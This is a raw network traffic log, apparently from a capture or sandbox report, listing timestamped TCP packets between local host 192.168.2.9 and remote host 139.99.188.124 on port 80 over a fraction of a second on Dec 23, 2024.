                                                                                                                                                                          Dec 23, 2024 08:40:15.004257917 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.004825115 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.004944086 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.004996061 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.005701065 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.024761915 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.024811029 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.024864912 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.024997950 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.025011063 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.025038004 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.025758028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.025804043 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.025816917 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.026428938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.026515961 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.026540041 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.027211905 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.027268887 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.027327061 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.027894020 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.027934074 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.028007984 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.028616905 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.028657913 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.028723001 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.029340029 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.029426098 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.029450893 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.030056000 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.030244112 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.030272961 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.030801058 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.030853033 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.030895948 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.031557083 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.031608105 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.031701088 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.032417059 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.032536030 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.032546043 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.032993078 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.033030033 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.033099890 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.033710003 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.033752918 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.033792019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.034463882 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.034502983 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.034531116 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.035173893 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.035216093 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.035319090 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.035865068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.035914898 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.035998106 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.036632061 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.036678076 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.036731958 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.037348032 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.037379980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.037406921 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.038054943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.038094997 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.038163900 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.038798094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.038844109 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.038903952 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.039540052 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.039585114 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.039623022 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.040270090 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.040301085 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.040359974 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.040981054 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.041033030 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.041040897 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.041743040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.041786909 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.041820049 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.042536974 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.042577028 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.042639971 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.043185949 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.043225050 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.043262005 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.043936968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.043986082 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.043988943 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.044692039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.044765949 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.044800997 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.045366049 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.045407057 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.045466900 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.046123028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.046174049 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.046216965 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.046906948 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.046998024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.047048092 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.047579050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.047621965 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.047693968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.048299074 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.048341990 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.048384905 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.049043894 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.049096107 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.049135923 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.049757957 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.049801111 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.049856901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.050488949 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.050529957 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.050566912 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.051212072 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.051258087 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.051322937 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.051959991 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.051999092 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.052064896 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.052706957 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.052755117 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.052767038 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.175273895 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.175333977 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.175340891 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.175628901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.175694942 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.175738096 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.176346064 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.176384926 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.176470041 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.177186966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.177309036 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.177310944 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.177831888 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.177867889 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.178006887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.178551912 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.178592920 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.178673983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.179307938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.179347038 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.179405928 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.180039883 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.180087090 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.180102110 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.180725098 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.180773973 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.180807114 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.181516886 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.181572914 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.181647062 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.195785999 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.195885897 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.195955992 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.195966005 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.196008921 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.196084023 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.196717024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.196731091 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.196758986 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.197479010 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.197608948 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.197618961 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.216574907 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.216691017 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.216778040 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.216933966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.217019081 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.217061996 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.217645884 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.217895985 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.217969894 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.217979908 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.218022108 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.218645096 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.218748093 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.218789101 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.219440937 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.219500065 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.219543934 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.220099926 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.220206976 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.220824957 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.220865965 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.220884085 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.221576929 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.221618891 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.221681118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.221720934 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.222338915 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.222445011 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.222492933 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.223006964 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.223117113 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.223161936 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.223738909 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.223843098 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.223905087 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.224459887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.224534988 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.224602938 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.225208998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.225322008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.225370884 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.225923061 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.226054907 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.226233006 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.226669073 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.226689100 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.227399111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.227452993 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.227494001 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.228122950 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.228169918 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.228224039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.228266001 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.228849888 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.228954077 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.229005098 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.229574919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.229610920 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.229660034 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.230308056 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.230423927 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.230483055 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.231021881 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.231118917 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.231153011 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.231790066 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.231920004 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.232250929 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.232505083 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.232619047 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.233208895 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.233258963 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.233313084 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.233964920 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.234004974 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.234072924 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.234110117 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.234692097 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.234791994 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.234846115 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.235418081 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.235537052 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.235588074 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.236135960 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.236243010 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.236527920 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.236896038 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.236978054 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.237035990 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.237616062 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.237740040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.237777948 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.238339901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.238455057 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.238497972 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.239090919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.239249945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.239300966 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.239850044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.239923000 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.239995956 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.240540028 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.240626097 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.240669012 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.241247892 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.241362095 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.241415977 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.241991997 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.242100954 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.242152929 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.242703915 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.242835045 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.242891073 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.243465900 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.243609905 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.243660927 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.244187117 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.244273901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.244484901 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.244889975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.367643118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.367691994 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.367697954 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.367949963 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.367988110 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.368016005 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.368724108 CET8049813139.99.188.124192.168.2.9
